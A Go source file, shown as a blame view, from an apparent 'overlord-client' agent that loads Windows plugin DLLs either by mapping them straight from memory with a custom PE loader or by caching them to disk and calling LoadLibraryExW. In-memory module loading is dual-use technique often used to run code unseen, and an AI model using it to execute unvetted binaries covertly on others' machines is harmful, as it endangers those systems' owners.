2026-03-19 16:29:26 -05:00
|
|
|
//go:build windows
|
|
|
|
|
|
|
|
|
|
package plugins
|
|
|
|
|
|
|
|
|
|
import (
|
2026-06-28 23:46:56 -05:00
|
|
|
"crypto/sha256"
|
|
|
|
|
"encoding/hex"
|
2026-03-19 16:29:26 -05:00
|
|
|
"errors"
|
|
|
|
|
"fmt"
|
2026-05-07 19:41:47 -05:00
|
|
|
"log"
|
2026-06-28 23:46:56 -05:00
|
|
|
"os"
|
|
|
|
|
"path/filepath"
|
2026-04-15 20:16:12 -05:00
|
|
|
"runtime"
|
2026-06-28 23:46:56 -05:00
|
|
|
"strings"
|
2026-03-19 16:29:26 -05:00
|
|
|
"syscall"
|
|
|
|
|
"unsafe"
|
2026-06-28 23:46:56 -05:00
|
|
|
|
2026-07-14 22:08:21 -05:00
|
|
|
"overlord-client/cmd/agent/wininterop"
|
|
|
|
|
|
2026-06-28 23:46:56 -05:00
|
|
|
"golang.org/x/sys/windows"
|
2026-03-19 16:29:26 -05:00
|
|
|
)
|
|
|
|
|
|
2026-06-28 23:46:56 -05:00
|
|
|
const (
|
|
|
|
|
loadLibrarySearchDLLLoadDir = 0x00000100
|
|
|
|
|
loadLibrarySearchDefaultDirs = 0x00001000
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
var procLoadLibraryExW = modKernel32.NewProc("LoadLibraryExW")
|
|
|
|
|
|
|
|
|
|
func loadNativePlugin(manifest PluginManifest, data []byte) (NativePlugin, error) {
|
2026-03-19 16:29:26 -05:00
|
|
|
if len(data) == 0 {
|
|
|
|
|
return nil, errors.New("empty plugin binary")
|
|
|
|
|
}
|
2026-06-28 23:46:56 -05:00
|
|
|
if shouldUseOSNativeLoader(manifest.NativeLoader) {
|
|
|
|
|
return loadNativePluginOS(manifest, data)
|
|
|
|
|
}
|
|
|
|
|
return loadNativePluginMemory(manifest, data)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func shouldUseOSNativeLoader(loader string) bool {
|
|
|
|
|
switch strings.ToLower(strings.TrimSpace(loader)) {
|
|
|
|
|
case "os", "disk", "file", "loadlibrary", "loadlibraryex":
|
|
|
|
|
return true
|
|
|
|
|
default:
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func loadNativePluginMemory(manifest PluginManifest, data []byte) (NativePlugin, error) {
|
|
|
|
|
entries := nativeEntries(manifest)
|
2026-03-19 16:29:26 -05:00
|
|
|
|
2026-04-15 20:16:12 -05:00
|
|
|
type initResult struct {
|
|
|
|
|
dp *dllPlugin
|
|
|
|
|
err error
|
2026-03-19 16:29:26 -05:00
|
|
|
}
|
2026-04-15 20:16:12 -05:00
|
|
|
ch := make(chan initResult, 1)
|
2026-03-19 16:29:26 -05:00
|
|
|
|
2026-04-15 20:16:12 -05:00
|
|
|
go func() {
|
2026-05-07 19:41:47 -05:00
|
|
|
defer func() {
|
|
|
|
|
if r := recover(); r != nil {
|
|
|
|
|
ch <- initResult{err: fmt.Errorf("plugin init panic: %v", r)}
|
|
|
|
|
}
|
|
|
|
|
}()
|
2026-04-15 20:16:12 -05:00
|
|
|
runtime.LockOSThread()
|
2026-03-19 16:29:26 -05:00
|
|
|
|
2026-04-15 20:16:12 -05:00
|
|
|
mm, err := LoadMemoryModule(data)
|
|
|
|
|
if err != nil {
|
|
|
|
|
ch <- initResult{err: fmt.Errorf("pe load: %w", err)}
|
|
|
|
|
runtime.UnlockOSThread()
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-03-19 16:29:26 -05:00
|
|
|
|
2026-04-15 20:16:12 -05:00
|
|
|
if err := mm.CallEntryPoint(dllProcessAttach); err != nil {
|
|
|
|
|
mm.Free()
|
|
|
|
|
ch <- initResult{err: fmt.Errorf("DllMain init: %w", err)}
|
|
|
|
|
runtime.UnlockOSThread()
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-03-19 16:29:26 -05:00
|
|
|
|
2026-06-28 23:46:56 -05:00
|
|
|
onLoad, err := mm.GetExport(entries.onLoad)
|
2026-04-15 20:16:12 -05:00
|
|
|
if err != nil {
|
|
|
|
|
mm.Free()
|
|
|
|
|
ch <- initResult{err: err}
|
|
|
|
|
runtime.UnlockOSThread()
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-06-28 23:46:56 -05:00
|
|
|
onEvent, err := mm.GetExport(entries.onEvent)
|
2026-04-15 20:16:12 -05:00
|
|
|
if err != nil {
|
|
|
|
|
mm.Free()
|
|
|
|
|
ch <- initResult{err: err}
|
|
|
|
|
runtime.UnlockOSThread()
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-06-28 23:46:56 -05:00
|
|
|
onUnload, err := mm.GetExport(entries.onUnload)
|
2026-04-15 20:16:12 -05:00
|
|
|
if err != nil {
|
|
|
|
|
mm.Free()
|
|
|
|
|
ch <- initResult{err: err}
|
|
|
|
|
runtime.UnlockOSThread()
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
2026-06-28 23:46:56 -05:00
|
|
|
setCallback, _ := mm.GetExport(entries.setCallback)
|
2026-04-15 20:16:12 -05:00
|
|
|
|
|
|
|
|
rt := "go"
|
2026-06-28 23:46:56 -05:00
|
|
|
if getRuntimeAddr, err := mm.GetExport(entries.getRuntime); err == nil {
|
2026-04-15 20:16:12 -05:00
|
|
|
ret, _, _ := syscall.SyscallN(getRuntimeAddr)
|
|
|
|
|
if ret != 0 {
|
|
|
|
|
var buf [32]byte
|
|
|
|
|
for i := range buf {
|
2026-07-14 22:08:21 -05:00
|
|
|
b := *(*byte)(wininterop.Pointer(ret + uintptr(i)))
|
2026-04-15 20:16:12 -05:00
|
|
|
if b == 0 {
|
|
|
|
|
rt = string(buf[:i])
|
|
|
|
|
break
|
|
|
|
|
}
|
|
|
|
|
buf[i] = b
|
2026-04-04 20:06:23 -05:00
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-15 20:16:12 -05:00
|
|
|
dp := &dllPlugin{
|
|
|
|
|
mem: mm,
|
|
|
|
|
onLoadAddr: onLoad,
|
|
|
|
|
onEventAddr: onEvent,
|
|
|
|
|
onUnloadAddr: onUnload,
|
|
|
|
|
setCallbackAddr: setCallback,
|
|
|
|
|
pluginRuntime: rt,
|
|
|
|
|
workCh: make(chan pluginWork),
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
ch <- initResult{dp: dp}
|
|
|
|
|
|
|
|
|
|
dp.workerLoop()
|
|
|
|
|
|
|
|
|
|
runtime.UnlockOSThread()
|
|
|
|
|
}()
|
|
|
|
|
|
|
|
|
|
res := <-ch
|
|
|
|
|
if res.err != nil {
|
|
|
|
|
return nil, res.err
|
2026-03-19 16:29:26 -05:00
|
|
|
}
|
2026-04-15 20:16:12 -05:00
|
|
|
return res.dp, nil
|
|
|
|
|
}
|
|
|
|
|
|
2026-06-28 23:46:56 -05:00
|
|
|
func loadNativePluginOS(manifest PluginManifest, data []byte) (NativePlugin, error) {
|
|
|
|
|
entries := nativeEntries(manifest)
|
|
|
|
|
dllPath, err := stageNativePluginDLL(manifest, data)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return nil, err
|
|
|
|
|
}
|
|
|
|
|
path16, err := windows.UTF16PtrFromString(dllPath)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return nil, err
|
|
|
|
|
}
|
|
|
|
|
flags := uintptr(loadLibrarySearchDLLLoadDir | loadLibrarySearchDefaultDirs)
|
|
|
|
|
h, _, callErr := procLoadLibraryExW.Call(uintptr(unsafe.Pointer(path16)), 0, flags)
|
|
|
|
|
if h == 0 {
|
|
|
|
|
return nil, fmt.Errorf("LoadLibraryExW(%s): %w", dllPath, callErr)
|
|
|
|
|
}
|
|
|
|
|
module := windows.Handle(h)
|
|
|
|
|
|
|
|
|
|
resolve := func(name string, required bool) (uintptr, error) {
|
|
|
|
|
addr, err := windows.GetProcAddress(module, name)
|
|
|
|
|
if err != nil {
|
|
|
|
|
if required {
|
|
|
|
|
return 0, fmt.Errorf("GetProcAddress(%s): %w", name, err)
|
|
|
|
|
}
|
|
|
|
|
return 0, nil
|
|
|
|
|
}
|
|
|
|
|
return addr, nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
onLoad, err := resolve(entries.onLoad, true)
|
|
|
|
|
if err != nil {
|
|
|
|
|
_ = windows.FreeLibrary(module)
|
|
|
|
|
return nil, err
|
|
|
|
|
}
|
|
|
|
|
onEvent, err := resolve(entries.onEvent, true)
|
|
|
|
|
if err != nil {
|
|
|
|
|
_ = windows.FreeLibrary(module)
|
|
|
|
|
return nil, err
|
|
|
|
|
}
|
|
|
|
|
onUnload, err := resolve(entries.onUnload, true)
|
|
|
|
|
if err != nil {
|
|
|
|
|
_ = windows.FreeLibrary(module)
|
|
|
|
|
return nil, err
|
|
|
|
|
}
|
|
|
|
|
setCallback, _ := resolve(entries.setCallback, false)
|
|
|
|
|
|
|
|
|
|
rt := "go"
|
|
|
|
|
if getRuntimeAddr, err := resolve(entries.getRuntime, false); err == nil && getRuntimeAddr != 0 {
|
|
|
|
|
ret, _, _ := syscall.SyscallN(getRuntimeAddr)
|
|
|
|
|
if ret != 0 {
|
|
|
|
|
var buf [32]byte
|
|
|
|
|
for i := range buf {
|
2026-07-14 22:08:21 -05:00
|
|
|
b := *(*byte)(wininterop.Pointer(ret + uintptr(i)))
|
2026-06-28 23:46:56 -05:00
|
|
|
if b == 0 {
|
|
|
|
|
rt = string(buf[:i])
|
|
|
|
|
break
|
|
|
|
|
}
|
|
|
|
|
buf[i] = b
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
dp := &dllPlugin{
|
|
|
|
|
module: module,
|
|
|
|
|
modulePath: dllPath,
|
|
|
|
|
onLoadAddr: onLoad,
|
|
|
|
|
onEventAddr: onEvent,
|
|
|
|
|
onUnloadAddr: onUnload,
|
|
|
|
|
setCallbackAddr: setCallback,
|
|
|
|
|
pluginRuntime: rt,
|
|
|
|
|
workCh: make(chan pluginWork),
|
|
|
|
|
}
|
|
|
|
|
go dp.workerLoop()
|
|
|
|
|
return dp, nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func stageNativePluginDLL(manifest PluginManifest, data []byte) (string, error) {
|
|
|
|
|
sum := sha256.Sum256(data)
|
|
|
|
|
hash := hex.EncodeToString(sum[:])
|
|
|
|
|
root, err := os.UserCacheDir()
|
|
|
|
|
if err != nil || strings.TrimSpace(root) == "" {
|
|
|
|
|
root = os.TempDir()
|
|
|
|
|
}
|
|
|
|
|
pluginID := sanitizeCacheName(manifest.ID)
|
|
|
|
|
if pluginID == "" {
|
|
|
|
|
pluginID = "plugin"
|
|
|
|
|
}
|
|
|
|
|
dir := filepath.Join(root, "Overlord", "plugins", pluginID, hash)
|
|
|
|
|
if err := os.MkdirAll(dir, 0700); err != nil {
|
|
|
|
|
return "", fmt.Errorf("create plugin cache: %w", err)
|
|
|
|
|
}
|
|
|
|
|
target := filepath.Join(dir, pluginID+".dll")
|
|
|
|
|
if st, err := os.Stat(target); err == nil && st.Size() == int64(len(data)) {
|
|
|
|
|
return target, nil
|
|
|
|
|
}
|
|
|
|
|
tmp := target + ".tmp"
|
|
|
|
|
if err := os.WriteFile(tmp, data, 0600); err != nil {
|
|
|
|
|
return "", fmt.Errorf("write plugin cache: %w", err)
|
|
|
|
|
}
|
|
|
|
|
if err := os.Rename(tmp, target); err != nil {
|
|
|
|
|
_ = os.Remove(tmp)
|
|
|
|
|
if st, statErr := os.Stat(target); statErr == nil && st.Size() == int64(len(data)) {
|
|
|
|
|
return target, nil
|
|
|
|
|
}
|
|
|
|
|
return "", fmt.Errorf("finalize plugin cache: %w", err)
|
|
|
|
|
}
|
|
|
|
|
return target, nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func sanitizeCacheName(value string) string {
|
|
|
|
|
value = strings.TrimSpace(value)
|
|
|
|
|
var b strings.Builder
|
|
|
|
|
for _, r := range value {
|
|
|
|
|
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
|
|
|
|
|
b.WriteRune(r)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return b.String()
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-15 20:16:12 -05:00
|
|
|
type pluginWork struct {
|
|
|
|
|
fn func() error
|
|
|
|
|
done chan error
|
2026-03-19 16:29:26 -05:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type dllPlugin struct {
|
|
|
|
|
mem *MemoryModule
|
2026-06-28 23:46:56 -05:00
|
|
|
module windows.Handle
|
|
|
|
|
modulePath string
|
2026-03-19 16:29:26 -05:00
|
|
|
onLoadAddr uintptr
|
|
|
|
|
onEventAddr uintptr
|
|
|
|
|
onUnloadAddr uintptr
|
|
|
|
|
setCallbackAddr uintptr
|
|
|
|
|
callbackHandle uintptr // prevent GC of the callback closure
|
2026-04-04 20:06:23 -05:00
|
|
|
pluginRuntime string // "go", "c", "cpp", etc.
|
2026-04-15 20:16:12 -05:00
|
|
|
workCh chan pluginWork
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (p *dllPlugin) workerLoop() {
|
|
|
|
|
for w := range p.workCh {
|
|
|
|
|
w.done <- w.fn()
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (p *dllPlugin) runOnWorker(fn func() error) error {
|
|
|
|
|
done := make(chan error, 1)
|
|
|
|
|
p.workCh <- pluginWork{fn: fn, done: done}
|
|
|
|
|
return <-done
|
2026-03-19 16:29:26 -05:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error {
|
2026-04-15 20:16:12 -05:00
|
|
|
return p.runOnWorker(func() error {
|
|
|
|
|
// Create a stdcall callback the DLL can invoke to send events to the host.
|
|
|
|
|
cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
|
|
|
|
|
event := make([]byte, eventLen)
|
|
|
|
|
if eventLen > 0 {
|
2026-07-14 22:08:21 -05:00
|
|
|
copy(event, unsafe.Slice((*byte)(wininterop.Pointer(eventPtr)), eventLen))
|
2026-04-15 20:16:12 -05:00
|
|
|
}
|
|
|
|
|
payload := make([]byte, payloadLen)
|
|
|
|
|
if payloadLen > 0 {
|
2026-07-14 22:08:21 -05:00
|
|
|
copy(payload, unsafe.Slice((*byte)(wininterop.Pointer(payloadPtr)), payloadLen))
|
2026-04-15 20:16:12 -05:00
|
|
|
}
|
|
|
|
|
send(string(event), payload)
|
|
|
|
|
return 0
|
|
|
|
|
})
|
|
|
|
|
p.callbackHandle = cb
|
2026-03-19 16:29:26 -05:00
|
|
|
|
2026-04-15 20:16:12 -05:00
|
|
|
if p.setCallbackAddr != 0 {
|
|
|
|
|
syscall.SyscallN(p.setCallbackAddr, cb)
|
2026-03-19 16:29:26 -05:00
|
|
|
}
|
2026-04-15 20:16:12 -05:00
|
|
|
|
|
|
|
|
var infoPtr uintptr
|
|
|
|
|
infoLen := uintptr(len(hostInfo))
|
|
|
|
|
if len(hostInfo) > 0 {
|
|
|
|
|
infoPtr = uintptr(unsafe.Pointer(&hostInfo[0]))
|
2026-03-19 16:29:26 -05:00
|
|
|
}
|
2026-04-15 20:16:12 -05:00
|
|
|
ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb)
|
|
|
|
|
if int32(ret) != 0 {
|
|
|
|
|
return errors.New("PluginOnLoad returned non-zero")
|
|
|
|
|
}
|
|
|
|
|
return nil
|
2026-03-19 16:29:26 -05:00
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (p *dllPlugin) Event(event string, payload []byte) error {
|
|
|
|
|
eventBytes := []byte(event)
|
2026-04-15 20:16:12 -05:00
|
|
|
payloadCopy := make([]byte, len(payload))
|
|
|
|
|
copy(payloadCopy, payload)
|
2026-03-19 16:29:26 -05:00
|
|
|
|
2026-04-15 20:16:12 -05:00
|
|
|
go func() {
|
2026-05-07 19:41:47 -05:00
|
|
|
defer func() {
|
|
|
|
|
if r := recover(); r != nil {
|
|
|
|
|
log.Printf("[panic] plugin event panic: %v", r)
|
|
|
|
|
}
|
|
|
|
|
}()
|
2026-06-28 23:46:56 -05:00
|
|
|
if err := p.runOnWorker(func() error {
|
|
|
|
|
var eventPtr, payloadPtr uintptr
|
|
|
|
|
eventLen := uintptr(len(eventBytes))
|
|
|
|
|
payloadLen := uintptr(len(payloadCopy))
|
|
|
|
|
if len(eventBytes) > 0 {
|
|
|
|
|
eventPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
|
|
|
|
|
}
|
|
|
|
|
if len(payloadCopy) > 0 {
|
|
|
|
|
payloadPtr = uintptr(unsafe.Pointer(&payloadCopy[0]))
|
|
|
|
|
}
|
|
|
|
|
ret, _, _ := syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen)
|
|
|
|
|
if int32(ret) != 0 {
|
|
|
|
|
return errors.New("PluginOnEvent returned non-zero")
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
}); err != nil {
|
|
|
|
|
log.Printf("[plugin] event error: %v", err)
|
2026-04-15 20:16:12 -05:00
|
|
|
}
|
|
|
|
|
}()
|
2026-03-19 16:29:26 -05:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (p *dllPlugin) Unload() {
|
2026-04-15 20:16:12 -05:00
|
|
|
_ = p.runOnWorker(func() error {
|
|
|
|
|
if p.onUnloadAddr != 0 {
|
|
|
|
|
syscall.SyscallN(p.onUnloadAddr)
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
})
|
2026-03-19 16:29:26 -05:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (p *dllPlugin) Close() error {
|
|
|
|
|
p.Unload()
|
2026-04-15 20:16:12 -05:00
|
|
|
close(p.workCh)
|
2026-04-04 20:06:23 -05:00
|
|
|
if p.pluginRuntime != "go" {
|
|
|
|
|
if p.mem != nil {
|
|
|
|
|
p.mem.Free()
|
|
|
|
|
p.mem = nil
|
|
|
|
|
}
|
2026-06-28 23:46:56 -05:00
|
|
|
if p.module != 0 {
|
|
|
|
|
_ = windows.FreeLibrary(p.module)
|
|
|
|
|
p.module = 0
|
|
|
|
|
}
|
2026-04-04 20:06:23 -05:00
|
|
|
} else {
|
|
|
|
|
p.mem = nil
|
2026-06-28 23:46:56 -05:00
|
|
|
p.module = 0
|
2026-04-04 20:06:23 -05:00
|
|
|
}
|
2026-03-19 16:29:26 -05:00
|
|
|
return nil
|
|
|
|
|
}
|
2026-04-04 20:06:23 -05:00
|
|
|
|
|
|
|
|
func (p *dllPlugin) Runtime() string {
|
|
|
|
|
return p.pluginRuntime
|
|
|
|
|
}
|